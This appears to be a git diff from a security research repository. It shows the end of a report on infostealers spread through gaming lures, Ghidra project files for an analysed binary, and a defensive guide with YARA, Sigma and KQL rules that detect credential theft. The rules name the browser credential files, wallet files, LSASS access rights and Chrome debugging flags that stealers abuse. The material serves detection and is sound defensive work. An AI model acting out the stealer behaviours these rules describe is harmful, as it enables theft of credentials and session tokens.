- **Gaps:** Fake PoCs and game cheats hosted freely, minimal vetting of repository contents, stars/forks can be manipulated
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Emerging Trends for 2026
|
||||||
|
|
||||||
|
1. **Post-Lumma vacuum:** After Microsoft's disruption of Lumma infrastructure and developer doxxing (Aug-Oct 2025), Vidar 2.0 has emerged to fill the gap
|
||||||
|
2. **Game engine abuse:** GodLoader (Godot), RenEngine (Ren'Py), and Node.js-based loaders evade traditional AV by using legitimate game runtime environments
|
||||||
|
3. **AI-hosted infrastructure:** Blitz malware hosting C2 on Hugging Face Spaces — legitimate AI platforms as blind spots
|
||||||
|
4. **Convergence of gaming and crypto:** Fake blockchain games deliver both gaming and crypto-focused malware simultaneously
|
||||||
|
5. **Mobile gaming expansion:** Standoff 2 targeting shows shift toward mobile game communities
|
||||||
|
6. **Infostealer consolidation:** The entire attack chain is converging around infostealers as the primary payload, with gaming as the primary distribution channel
|
||||||
|
7. **Session hijacking over credential theft:** Cookie/token theft enables account access without passwords or 2FA, making traditional authentication defenses less effective
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- [DDoS, data theft, and malware storming gaming industry — Help Net Security](https://www.helpnetsecurity.com/2025/10/27/gaming-industry-cyber-threats-risks/)
|
||||||
|
- [Cyber Threats the Gaming Industry Faced in 2025 — Guarding Pear Software](https://www.guardingpearsoftware.com/blog/cyber-threats-the-gaming-industry-faced-in-2025-and-wha-15919)
|
||||||
|
- [Flare Research: Gaming Rising Target for Infostealer Malware](https://flare.io/company/press/gaming-rising-target-infostealer-malware-41-infections-gaming-related-file)
|
||||||
|
- [Fake cheat lures gamers into spreading infostealer malware — BleepingComputer](https://www.bleepingcomputer.com/news/security/fake-cheat-lures-gamers-into-spreading-infostealer-malware/)
|
||||||
|
- [Vidar 2.0 Infostealer via Fake Game Cheats on GitHub, Reddit — Hackread](https://hackread.com/vidar-2-0-infostealer-fake-game-cheats-github-reddit/)
|
||||||
|
- [YouTube Ghost Network Spreads Infostealer via 3,000 Fake Videos — Hackread](https://hackread.com/youtube-ghost-network-infostealer-fake-videos/)
|
||||||
|
- [From cheats to exploits: Webrat spreading via GitHub — Securelist/Kaspersky](https://securelist.com/webrat-distributed-via-github/118555/)
|
||||||
|
- [Blitz Malware: A Tale of Game Cheats and Code Repositories — Unit42/Palo Alto](https://unit42.paloaltonetworks.com/blitz-malware-2025/)
|
||||||
|
- [The Discord Invite Loop Hole Hijacked for Attacks — Check Point Research](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
|
||||||
|
- ["Can you try a game I made?" Fake game sites lead to infostealers — Malwarebytes](https://www.malwarebytes.com/blog/news/2025/01/can-you-try-a-game-i-made-fake-game-sites-lead-to-information-stealers)
|
||||||
|
- [New Infostealer Campaign Uses Discord Videogame Lure — Infosecurity Magazine](https://www.infosecurity-magazine.com/news/infostealer-campaign-discord/)
|
||||||
|
- [Steam game People Playground hit by malware via Workshop — GamingOnLinux](https://www.gamingonlinux.com/2026/02/steam-game-people-playground-hit-by-malware-via-the-steam-workshop/)
|
||||||
|
- [PirateFi game on Steam caught installing password-stealing malware — BleepingComputer](https://www.bleepingcomputer.com/news/security/piratefi-game-on-steam-caught-installing-password-stealing-malware/)
|
||||||
|
- [Vidar Stealer: Infostealer malware discovered in Steam game — G DATA](https://blog.gdatasoftware.com/2025/04/38169-vidar-stealer)
|
||||||
|
- [Infostealer Malware Vidar distributed via Steam store — SECUINFRA](https://www.secuinfra.com/en/techtalk/infostealer-malware-vidar-spread-via-the-steam-store/)
|
||||||
|
- [FBI seeks victims of Steam games used to spread malware — BleepingComputer](https://www.bleepingcomputer.com/news/security/fbi-seeks-victims-of-steam-games-used-to-spread-malware/)
|
||||||
|
- [Steam games abused to deliver malware once again — Malwarebytes](https://www.malwarebytes.com/blog/news/2025/07/steam-games-abused-to-deliver-malware-once-again)
|
||||||
|
- [Lumma Stealer: Breaking down delivery techniques — Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer/)
|
||||||
|
- [Microsoft Dismantles Lumma Stealer Malware Infecting 400K PCs — Xcitium](https://threatlabsnews.xcitium.com/blog/microsoft-lumma-stealer-infects-400000-windows-pcs/)
|
||||||
|
- [GachiLoader: Defeating Node.js Malware — Check Point Research](https://research.checkpoint.com/2025/gachiloader-node-js-malware-with-api-tracing/)
|
||||||
|
- [RenEngine Loader and HijackLoader Attack Chain — Cyderes](https://www.cyderes.com/howler-cell/renengine-loader-hijackloader-attack-chain)
|
||||||
|
- [Gaming Engines: An Undetected Playground for Malware Loaders — Check Point Research](https://research.checkpoint.com/2024/gaming-engines-an-undetected-playground-for-malware-loaders/)
|
||||||
|
- [Malware Targeting Roblox Players Steals Crypto Wallets — CryptoTimes](https://www.cryptotimes.io/2025/12/21/malware-targeting-roblox-players-steals-crypto-wallets/)
|
||||||
|
- [Not a Kids Game: From Roblox Mod to Compromising Your Company — BleepingComputer](https://www.bleepingcomputer.com/news/security/not-a-kids-game-from-roblox-mod-to-compromising-your-company/)
|
||||||
|
- [Stealka stealer hijacks accounts via pirated software — Kaspersky](https://www.kaspersky.com/blog/windows-stealer-stealka/55058/)
|
||||||
|
- [Infostealer Malware in 2025: Credential Theft at Scale — DeepStrike](https://deepstrike.io/blog/infostealer-malware-credential-theft-2025)
|
||||||
|
- [Infostealers stole 1.8B credentials in 2025 — Vectra](https://www.vectra.ai/topics/infostealers)
|
||||||
|
- [CS2 Scam Avoidance Guide 2026 — SkinsMonkey](https://skinsmonkey.com/blog/how-to-avoid-cs2-scams-ultimate-2026-guide)
|
||||||
|
- [Lunar Client Safety Guide — Lunar Client](https://www.lunarclient.com/news/lunar-client-safety-guide)
|
||||||
|
- [Fake Minecraft, Roblox Hacks on YouTube Hide Malware — McAfee](https://www.mcafee.com/blogs/internet-security/scam-alert-fake-minecraft-roblox-hacks-on-youtube-hide-malware-target-kids/)
|
||||||
|
- [From Cracks to Crooks: YouTube as a Vector for Malware Distribution — arXiv](https://arxiv.org/html/2507.16996v1)
|
||||||
|
- [Steam Faces New Malware Crisis — WinBuzzer](https://winbuzzer.com/2025/03/24/steam-faces-new-malware-crisis-as-game-demo-infects-users-xcxwbn/)
|
||||||
|
- [Rust-based Myth Stealer via Fake Gaming Sites — The Hacker News](https://thehackernews.com/2025/06/rust-based-myth-stealer-malware-spread.html)
|
||||||
|
- [Cracked Software and YouTube Videos Spread CountLoader and GachiLoader — The Hacker News](https://thehackernews.com/2025/12/cracked-software-and-youtube-videos.html)
|
||||||
Binary file not shown.
@@ -0,0 +1,9 @@
|
|||||||
|
#Ghidra Lock File
|
||||||
|
#Wed Mar 18 21:59:58 GMT 2026
|
||||||
|
<META>\ Supports\ File\ Channel\ Locking=Channel Lock
|
||||||
|
Hostname=DESKTOP-WPWCUWO
|
||||||
|
OS\ Architecture=amd64
|
||||||
|
OS\ Name=Windows 11
|
||||||
|
OS\ Version=10.0
|
||||||
|
Timestamp=3/18/26, 9\:59\u202FPM
|
||||||
|
Username=Mes
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<FILE_INFO>
|
||||||
|
<BASIC_INFO>
|
||||||
|
<STATE NAME="CONTENT_TYPE" TYPE="string" VALUE="Program" />
|
||||||
|
<STATE NAME="PARENT" TYPE="string" VALUE="/" />
|
||||||
|
<STATE NAME="FILE_ID" TYPE="string" VALUE="c0a8189c3a692747619864100" />
|
||||||
|
<STATE NAME="FILE_TYPE" TYPE="int" VALUE="0" />
|
||||||
|
<STATE NAME="READ_ONLY" TYPE="boolean" VALUE="false" />
|
||||||
|
<STATE NAME="NAME" TYPE="string" VALUE="anydesk_codec_region.bin-19ecc4" />
|
||||||
|
</BASIC_INFO>
|
||||||
|
</FILE_INFO>
|
||||||
Binary file not shown.
@@ -0,0 +1,4 @@
|
|||||||
|
VERSION=1
|
||||||
|
/
|
||||||
|
NEXT-ID:0
|
||||||
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
IADD:00000000:/anydesk_codec_region.bin-19ecc4
|
||||||
|
IDSET:/anydesk_codec_region.bin-19ecc4:c0a8189c3a692747619864100
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<FILE_INFO>
|
||||||
|
<BASIC_INFO>
|
||||||
|
<STATE NAME="OWNER" TYPE="string" VALUE="Mes" />
|
||||||
|
</BASIC_INFO>
|
||||||
|
</FILE_INFO>
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
VERSION=1
|
||||||
|
/
|
||||||
|
NEXT-ID:0
|
||||||
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
VERSION=1
|
||||||
|
/
|
||||||
|
NEXT-ID:0
|
||||||
|
MD5:d41d8cd98f00b204e9800998ecf8427e
|
||||||
@@ -0,0 +1,521 @@
|
|||||||
|
# Defending Against Modern Infostealers: Actionable Defense Guide (2025-2026)
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
Infostealers stole **1.8 billion credentials** from **5.8 million devices** in H1 2025 alone -- an 800% increase from prior years. Stolen credentials now drive **86% of all breaches** and are the #2 initial access vector (22% of confirmed breaches). 54% of ransomware victims had prior credential exposure in stealer logs. This guide covers what actually works, what doesn't, and where defenders should focus.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. What Actually Stops Modern Stealers vs. What Doesn't
|
||||||
|
|
||||||
|
### What Works
|
||||||
|
|
||||||
|
| Defense | Why It Works | Effectiveness |
|
||||||
|
|---------|-------------|---------------|
|
||||||
|
| **DBSC (Device Bound Session Credentials)** | Binds session cookies to TPM-backed keys; stolen cookies are useless on other devices | High -- directly counters the #1 stealer target |
|
||||||
|
| **Passkeys / FIDO2** | Eliminates passwords entirely; nothing to steal | Very High -- complete removal of attack surface |
|
||||||
|
| **Short-lived session tokens (< 1hr TTL)** | Reduces window for stolen token replay | Medium-High -- limits damage even if theft occurs |
|
||||||
|
| **Application allowlisting + Smart App Control** | Blocks unknown/unsigned binaries before execution | High -- prevents initial execution |
|
||||||
|
| **ASR rules in Block mode** | Blocks LSASS access, Office child processes, script abuse | High -- direct mitigation of common techniques |
|
||||||
|
| **Credential Guard (VBS)** | Isolates NTLM hashes and Kerberos TGTs in secure enclave | High for OS creds -- but stealers target browsers instead |
|
||||||
|
| **HVCI** | Prevents unsigned kernel code execution; forces data-only attacks | High -- eliminates entire classes of kernel exploits |
|
||||||
|
| **CET Shadow Stack** | Hardware-enforced return address integrity; kills ROP chains | High for exploit-based delivery; less relevant to social engineering delivery |
|
||||||
|
| **Browser isolation (RBI)** | Credentials never touch endpoint; phishing pages can't capture input | Very High for targeted scenarios |
|
||||||
|
| **Zero Trust + microsegmentation** | Limits lateral movement even with valid stolen creds | High -- 60% breach reduction (Gartner 2025) |
|
||||||
|
|
||||||
|
### What Doesn't Work (Alone)
|
||||||
|
|
||||||
|
| Defense | Why It Falls Short |
|
||||||
|
|---------|-------------------|
|
||||||
|
| **Signature-based AV only** | Stealers repack/morph constantly; 66% evade EDR |
|
||||||
|
| **MFA without device binding** | Session cookies bypass MFA entirely via anti-detect browsers |
|
||||||
|
| **Credential Guard alone** | Protects OS creds but not browser-stored passwords, cookies, tokens |
|
||||||
|
| **Network perimeter firewalls** | Stealers exfiltrate over HTTPS to legitimate-looking C2 |
|
||||||
|
| **User training alone** | Social engineering constantly evolves; one click is all it takes |
|
||||||
|
| **App-Bound Encryption (Chrome, legacy)** | Already bypassed by multiple stealer families; being replaced by DBSC |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Detection Rules and Signatures
|
||||||
|
|
||||||
|
### 2.1 YARA Rules
|
||||||
|
|
||||||
|
**Elastic Security provides production-ready YARA rules:**
|
||||||
|
- `Windows_Infostealer_Generic.yar` -- generic infostealer behavioral patterns
|
||||||
|
- `Windows_Trojan_Lumma.yar` -- Lumma-specific detection
|
||||||
|
- Repository: `github.com/elastic/protections-artifacts/tree/main/yara/rules/`
|
||||||
|
|
||||||
|
**VMRay** maintains updated YARA rules and configuration extractors for Lumma, Vidar 2.0, StealC, and emerging families, with monthly detection highlight releases.
|
||||||
|
|
||||||
|
**Key YARA detection patterns for infostealers:**
|
||||||
|
```yara
|
||||||
|
rule Infostealer_Browser_DB_Access {
|
||||||
|
meta:
|
||||||
|
description = "Detects binary accessing browser credential databases"
|
||||||
|
strings:
|
||||||
|
$s1 = "Login Data" ascii wide
|
||||||
|
$s2 = "logins.json" ascii wide
|
||||||
|
$s3 = "key4.db" ascii wide
|
||||||
|
$s4 = "Cookies" ascii wide
|
||||||
|
$s5 = "Web Data" ascii wide
|
||||||
|
$s6 = "Local State" ascii wide
|
||||||
|
$chrome_path = "\\Google\\Chrome\\User Data\\" ascii wide
|
||||||
|
$firefox_path = "\\Mozilla\\Firefox\\Profiles\\" ascii wide
|
||||||
|
$edge_path = "\\Microsoft\\Edge\\User Data\\" ascii wide
|
||||||
|
condition:
|
||||||
|
uint16(0) == 0x5A4D and
|
||||||
|
3 of ($s*) and
|
||||||
|
1 of ($chrome_path, $firefox_path, $edge_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
rule Infostealer_Crypto_Wallet_Theft {
|
||||||
|
meta:
|
||||||
|
description = "Detects binary targeting cryptocurrency wallets"
|
||||||
|
strings:
|
||||||
|
$w1 = "wallet.dat" ascii wide
|
||||||
|
$w2 = "exodus" ascii wide nocase
|
||||||
|
$w3 = "metamask" ascii wide nocase
|
||||||
|
$w4 = "phantom" ascii wide nocase
|
||||||
|
$w5 = "electrum" ascii wide nocase
|
||||||
|
$w6 = "\\Ethereum\\keystore" ascii wide
|
||||||
|
condition:
|
||||||
|
uint16(0) == 0x5A4D and 3 of them
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.2 Sigma Rules
|
||||||
|
|
||||||
|
**LSASS Credential Dumping:**
|
||||||
|
```yaml
|
||||||
|
title: Suspicious LSASS Process Access
|
||||||
|
id: a2f29a02-0bf0-4730-b2d2-d8b38e0f5e48
|
||||||
|
status: stable
|
||||||
|
logsource:
|
||||||
|
category: process_access
|
||||||
|
product: windows
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
TargetImage|endswith: '\lsass.exe'
|
||||||
|
GrantedAccess|contains:
|
||||||
|
- '0x1010'
|
||||||
|
- '0x1410'
|
||||||
|
- '0x1038'
|
||||||
|
- '0x1438'
|
||||||
|
- '0x143a'
|
||||||
|
filter_system:
|
||||||
|
SourceImage|endswith:
|
||||||
|
- '\wmiprvse.exe'
|
||||||
|
- '\taskmgr.exe'
|
||||||
|
- '\procexp64.exe'
|
||||||
|
- '\MsMpEng.exe'
|
||||||
|
condition: selection and not filter_system
|
||||||
|
level: high
|
||||||
|
```
|
||||||
|
|
||||||
|
**Browser Credential Store Access by Non-Browser Process:**
|
||||||
|
```yaml
|
||||||
|
title: Non-Browser Process Accessing Browser Credential Store
|
||||||
|
logsource:
|
||||||
|
category: file_access
|
||||||
|
product: windows
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
TargetFilename|contains:
|
||||||
|
- '\Google\Chrome\User Data\Default\Login Data'
|
||||||
|
- '\Google\Chrome\User Data\Default\Cookies'
|
||||||
|
- '\Google\Chrome\User Data\Local State'
|
||||||
|
- '\Microsoft\Edge\User Data\Default\Login Data'
|
||||||
|
- '\Mozilla\Firefox\Profiles\'
|
||||||
|
filter_browsers:
|
||||||
|
Image|endswith:
|
||||||
|
- '\chrome.exe'
|
||||||
|
- '\msedge.exe'
|
||||||
|
- '\firefox.exe'
|
||||||
|
- '\brave.exe'
|
||||||
|
- '\opera.exe'
|
||||||
|
condition: selection and not filter_browsers
|
||||||
|
level: high
|
||||||
|
```
|
||||||
|
|
||||||
|
**HVCI Tampering Detection (from SigmaHQ):**
|
||||||
|
```yaml
|
||||||
|
title: HVCI Registry Tampering via Command Line
|
||||||
|
logsource:
|
||||||
|
category: process_creation
|
||||||
|
product: windows
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
CommandLine|contains|all:
|
||||||
|
- 'HypervisorEnforcedCodeIntegrity'
|
||||||
|
- 'Enabled'
|
||||||
|
- '0'
|
||||||
|
condition: selection
|
||||||
|
level: critical
|
||||||
|
```
|
||||||
|
|
||||||
|
### 2.3 KQL / Sentinel Queries
|
||||||
|
|
||||||
|
**Suspicious browser credential file access:**
|
||||||
|
```kql
|
||||||
|
DeviceFileEvents
|
||||||
|
| where FileName in ("Login Data", "Cookies", "Web Data", "Local State", "key4.db", "logins.json")
|
||||||
|
| where InitiatingProcessFileName !in ("chrome.exe", "msedge.exe", "firefox.exe", "brave.exe", "opera.exe", "update.exe")
|
||||||
|
| where ActionType == "FileRead" or ActionType == "FileModified"
|
||||||
|
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, FolderPath
|
||||||
|
| sort by Timestamp desc
|
||||||
|
```
|
||||||
|
|
||||||
|
**LSASS access from unusual processes:**
|
||||||
|
```kql
|
||||||
|
DeviceEvents
|
||||||
|
| where ActionType == "OpenProcessApiCall"
|
||||||
|
| where FileName == "lsass.exe"
|
||||||
|
| where InitiatingProcessFileName !in ("MsMpEng.exe", "csrss.exe", "wininit.exe", "svchost.exe")
|
||||||
|
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
|
||||||
|
```
|
||||||
|
|
||||||
|
**Chrome remote debugging abuse:**
|
||||||
|
```kql
|
||||||
|
DeviceProcessEvents
|
||||||
|
| where ProcessCommandLine has "--remote-debugging-port"
|
||||||
|
or ProcessCommandLine has "--remote-allow-origins"
|
||||||
|
| where InitiatingProcessFileName != "chrome.exe"
|
||||||
|
| project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessFileName
|
||||||
|
```
|
||||||
|
|
||||||
|
**Suspicious data exfiltration (stealer C2 pattern):**
|
||||||
|
```kql
|
||||||
|
DeviceNetworkEvents
|
||||||
|
| where RemotePort in (443, 80)
|
||||||
|
| where InitiatingProcessFileName !in ("chrome.exe", "msedge.exe", "firefox.exe", "svchost.exe", "OneDrive.exe")
|
||||||
|
| where RemoteUrl !has "microsoft.com" and RemoteUrl !has "windows.com"
|
||||||
|
| summarize TotalBytes=sum(SentBytes), ConnectionCount=count() by InitiatingProcessFileName, RemoteUrl, bin(Timestamp, 5m)
|
||||||
|
| where TotalBytes > 1000000 or ConnectionCount > 50
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Behavioral Indicators That Are Hard for Stealers to Avoid
|
||||||
|
|
||||||
|
These are **unavoidable** actions that any infostealer must perform, making them high-fidelity detection opportunities:
|
||||||
|
|
||||||
|
### 3.1 File Access (Must Touch These Files)
|
||||||
|
|
||||||
|
| Target | File Paths | Detection Method |
|
||||||
|
|--------|-----------|-----------------|
|
||||||
|
| Chrome passwords | `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data` | Sysmon Event ID 11, file access audit |
|
||||||
|
| Chrome cookies | `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Cookies` | Same |
|
||||||
|
| Chrome local state (encryption key) | `%LOCALAPPDATA%\Google\Chrome\User Data\Local State` | Same |
|
||||||
|
| Firefox credentials | `%APPDATA%\Mozilla\Firefox\Profiles\*\logins.json`, `key4.db` | Same |
|
||||||
|
| Edge passwords | `%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data` | Same |
|
||||||
|
| Crypto wallets | Various `wallet.dat`, extension data | FileSystemWatcher / Sysmon |
|
||||||
|
|
||||||
|
**Key principle:** Any process other than the browser itself reading these files is suspicious. This is a high-signal, low-noise detection.
|
||||||
|
|
||||||
|
### 3.2 API Calls (Must Make These Calls)
|
||||||
|
|
||||||
|
| Action | API/Syscall | Detection |
|
||||||
|
|--------|-------------|-----------|
|
||||||
|
| LSASS memory read | `OpenProcess` with `PROCESS_VM_READ` on lsass.exe | Sysmon EventCode 10 with GrantedAccess 0x1010/0x1410 |
|
||||||
|
| Chrome DPAPI decryption | `CryptUnprotectData` | ETW tracing on DPAPI provider |
|
||||||
|
| SQLite database copy (bypass file lock) | `CreateFile` + `DuplicateHandle` or `Volume Shadow Copy` | Handle duplication to browser DB files |
|
||||||
|
| Headless browser spawn | Chrome with `--headless`, `--remote-debugging-port` | Process creation monitoring |
|
||||||
|
| IElevator COM access | Non-browser process calling `IElevator` interface | COM object access monitoring |
|
||||||
|
|
||||||
|
### 3.3 Process Behavior Patterns
|
||||||
|
|
||||||
|
- **Rapid sequential access** to multiple browser profiles/credential stores within seconds
|
||||||
|
- **Short-lived process** that accesses credential stores then makes outbound HTTPS connection
|
||||||
|
- **Non-interactive process** spawned from temp/download directory accessing credential files
|
||||||
|
- **Process injection** into browser process from non-browser parent
|
||||||
|
- **Clipboard monitoring** (keylogger component) -- SetClipboardViewer / AddClipboardFormatListener
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. OS-Level Mitigations
|
||||||
|
|
||||||
|
### 4.1 Intel CET (Control-flow Enforcement Technology)
|
||||||
|
|
||||||
|
**What it does:** Hardware shadow stack prevents ROP/JOP exploit chains. The CPU maintains a separate shadow stack of return addresses that attackers cannot modify.
|
||||||
|
|
||||||
|
**Impact on stealers:** Primarily affects exploit-based delivery (drive-by downloads, document exploits). Less effective against social-engineering delivery (user runs malicious exe). When combined with HVCI, forces attackers into data-only attack patterns.
|
||||||
|
|
||||||
|
**Deployment:** Requires Intel 11th gen+ or AMD Zen 3+ CPU. Windows 11 22H2+ supports kernel-mode CET. Enable via Windows Security > Device Security > Core Isolation.
|
||||||
|
|
||||||
|
### 4.2 HVCI (Hypervisor-Protected Code Integrity)
|
||||||
|
|
||||||
|
**What it does:** Uses VBS hypervisor to prevent unsigned code execution in kernel mode. Eliminates RWX memory in kernel space.
|
||||||
|
|
||||||
|
**Impact on stealers:** Blocks vulnerable driver abuse (BYOVD) unless driver is signed. Prevents kernel rootkits that would disable EDR. Forces attackers to user-mode only operations. Enabled by default in Windows 11 22H2+ and Server 2025.
|
||||||
|
|
||||||
|
**Critical:** Monitor for attempts to disable HVCI via registry tampering (`HypervisorEnforcedCodeIntegrity` set to 0).
|
||||||
|
|
||||||
|
### 4.3 ACG (Arbitrary Code Guard)
|
||||||
|
|
||||||
|
**What it does:** Prevents dynamic code generation and modification in protected processes. Enforces W^X (write XOR execute) in user mode.
|
||||||
|
|
||||||
|
**Impact on stealers:** Prevents reflective DLL injection and shellcode execution in ACG-protected processes. Browsers (Edge, Chrome) use ACG in renderer processes.
|
||||||
|
|
||||||
|
### 4.4 CFG (Control Flow Guard)
|
||||||
|
|
||||||
|
**What it does:** Validates indirect call targets against a bitmap of valid targets at compile time.
|
||||||
|
|
||||||
|
**Impact on stealers:** Prevents hijacking of function pointers in protected binaries. Combined with CET, provides comprehensive control-flow integrity.
|
||||||
|
|
||||||
|
### 4.5 Credential Guard (VBS-based LSASS isolation)
|
||||||
|
|
||||||
|
**What it does:** Moves NTLM hashes and Kerberos TGTs into a VBS-protected enclave. LSASS runs in isolated mode.
|
||||||
|
|
||||||
|
**Impact on stealers:** Completely defeats Mimikatz-style LSASS dumping for domain credentials. **Critical limitation:** Does NOT protect browser-stored credentials, cookies, or session tokens -- which is what modern stealers primarily target. Must be paired with browser-level defenses.
|
||||||
|
|
||||||
|
**Deployment:** Enabled by default in Windows 11 Enterprise 22H2+. Check with `msinfo32` > Credential Guard status.
|
||||||
|
|
||||||
|
### 4.6 Smart App Control (SAC)
|
||||||
|
|
||||||
|
**What it does:** Cloud-backed reputation check blocks unknown/unsigned binaries before execution. Uses AI behavioral analysis for borderline cases.
|
||||||
|
|
||||||
|
**Impact on stealers:** Strong first-line defense against stealer execution. Blocks binaries not seen by Microsoft's telemetry. As of Windows 11 24H2/25H2, can be toggled without OS reinstall.
|
||||||
|
|
||||||
|
**Limitations:** No per-app exception mechanism. Sophisticated stealers may use signed binaries, living-off-the-land techniques, or supply chain compromise to bypass.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Browser-Level Mitigations
|
||||||
|
|
||||||
|
### 5.1 DBSC (Device Bound Session Credentials) -- THE KEY DEFENSE
|
||||||
|
|
||||||
|
**Status:** Chrome open beta (July 2025+). Second origin trial October 2025 - February 2026. W3C First Public Working Draft published 2025.
|
||||||
|
|
||||||
|
**How it works:**
|
||||||
|
1. Browser generates TPM-backed keypair during login
|
||||||
|
2. Server issues short-lived session cookie
|
||||||
|
3. On cookie expiry, browser proves private key possession before refresh
|
||||||
|
4. Stolen cookie is useless on another device (no TPM private key)
|
||||||
|
|
||||||
|
**Enterprise deployment:** Available for Google Workspace admins. Enable via Admin Console > Security > Session Binding.
|
||||||
|
|
||||||
|
**Limitations:**
|
||||||
|
- Currently Chrome on Windows only
|
||||||
|
- Requires TPM 2.0
|
||||||
|
- Does not prevent on-device session abuse while attacker is resident
|
||||||
|
- Requires server-side adoption
|
||||||
|
|
||||||
|
### 5.2 App-Bound Encryption (Chrome, legacy)
|
||||||
|
|
||||||
|
Chrome 127+ encrypted cookies with a key bound to the app identity. **Already bypassed** by multiple stealer families (Lumma, Vidar, MeduzaStealer). Being replaced by DBSC. Not a reliable defense in 2025+.
|
||||||
|
|
||||||
|
### 5.3 Remote Debugging Lockdown
|
||||||
|
|
||||||
|
**Chrome M144+:** Shows user permission dialog when any process requests remote debugging session. No longer silently allows `--remote-debugging-port`.
|
||||||
|
|
||||||
|
**Enterprise policy:** Set `RemoteDebuggingAllowed` to `false` in Chrome enterprise policy. Monitor for `--remote-debugging-port` in process command lines.
|
||||||
|
|
||||||
|
### 5.4 Enterprise Browser Isolation (RBI)
|
||||||
|
|
||||||
|
**How it works:** Web content executes on remote server; only rendered pixels reach endpoint. Credentials autofilled from vault never exist on endpoint.
|
||||||
|
|
||||||
|
**Best for:**
|
||||||
|
- High-value targets (executives, finance, IT admins)
|
||||||
|
- Accessing sensitive SaaS applications
|
||||||
|
- Unknown/risky websites
|
||||||
|
|
||||||
|
**Leading solutions:** Zscaler, Cisco Umbrella RBI, Keeper (PAM-integrated), Forcepoint RBI.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Enterprise Controls That Work
|
||||||
|
|
||||||
|
### Priority 1: Immediate Actions (Week 1-2)
|
||||||
|
|
||||||
|
1. **Enable ASR rules in Block mode:**
|
||||||
|
- `Block credential stealing from lsass.exe` (now default Block in Defender)
|
||||||
|
- `Block executable content from email client and webmail`
|
||||||
|
- `Block Office applications from creating child processes`
|
||||||
|
- `Block untrusted and unsigned processes that run from USB`
|
||||||
|
|
||||||
|
2. **Enable LSASS PPL (Protected Process Light):**
|
||||||
|
```
|
||||||
|
Registry: HKLM\SYSTEM\CurrentControlSet\Control\Lsa
|
||||||
|
Value: RunAsPPL = 1 (DWORD)
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Deploy Sysmon with credential-theft-focused config:**
|
||||||
|
- Event ID 10: Process Access (filter for lsass.exe targets)
|
||||||
|
- Event ID 11: File Create (browser credential paths)
|
||||||
|
- Event ID 1: Process Create (command line logging)
|
||||||
|
|
||||||
|
4. **Shorten session cookie TTL** to 1 hour for sensitive applications
|
||||||
|
|
||||||
|
5. **Block Chrome remote debugging** via enterprise policy
|
||||||
|
|
||||||
|
### Priority 2: Short-Term (Month 1-2)
|
||||||
|
|
||||||
|
6. **Deploy DBSC** for Google Workspace environments
|
||||||
|
7. **Enable Credential Guard** on all Windows 11 Enterprise endpoints
|
||||||
|
8. **Enable HVCI** enterprise-wide (verify driver compatibility first)
|
||||||
|
9. **Implement application allowlisting** or Smart App Control
|
||||||
|
10. **Deploy dark web monitoring** for corporate credential exposure (SpyCloud, Flare, SOCRadar)
|
||||||
|
|
||||||
|
### Priority 3: Medium-Term (Quarter 1-2)
|
||||||
|
|
||||||
|
11. **Accelerate passkey/FIDO2 adoption** -- target 100% for privileged accounts by Q2 2026
|
||||||
|
12. **Deploy ITDR (Identity Threat Detection and Response)** across all identity stores
|
||||||
|
13. **Implement Zero Trust architecture** with microsegmentation
|
||||||
|
14. **Deploy browser isolation** for high-value user segments
|
||||||
|
15. **Eliminate BYOD access** to sensitive corporate resources or require managed browser
|
||||||
|
|
||||||
|
### Priority 4: Ongoing
|
||||||
|
|
||||||
|
16. **Continuous credential monitoring** via dark web intelligence platforms
|
||||||
|
17. **Regular purple team exercises** specifically testing infostealer TTPs
|
||||||
|
18. **Maintain detection rules** -- update YARA/Sigma/KQL as new families emerge
|
||||||
|
19. **Monitor for HVCI/CET bypass attempts** -- attackers will try to disable
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Post-Compromise: Detecting Stolen Credentials in Use
|
||||||
|
|
||||||
|
### 7.1 Indicators of Stolen Credential Use
|
||||||
|
|
||||||
|
| Indicator | Detection Method |
|
||||||
|
|-----------|-----------------|
|
||||||
|
| **Impossible travel** | Login from geographically impossible locations within timeframe |
|
||||||
|
| **New device + known creds** | DBSC failure (no TPM proof); device fingerprint mismatch |
|
||||||
|
| **Anti-detect browser fingerprint** | Canvas fingerprint anomalies, WebGL hash mismatches, timezone/language inconsistencies |
|
||||||
|
| **Session cookie replay** | Same session ID from different IP/device; cookie used without prior auth flow |
|
||||||
|
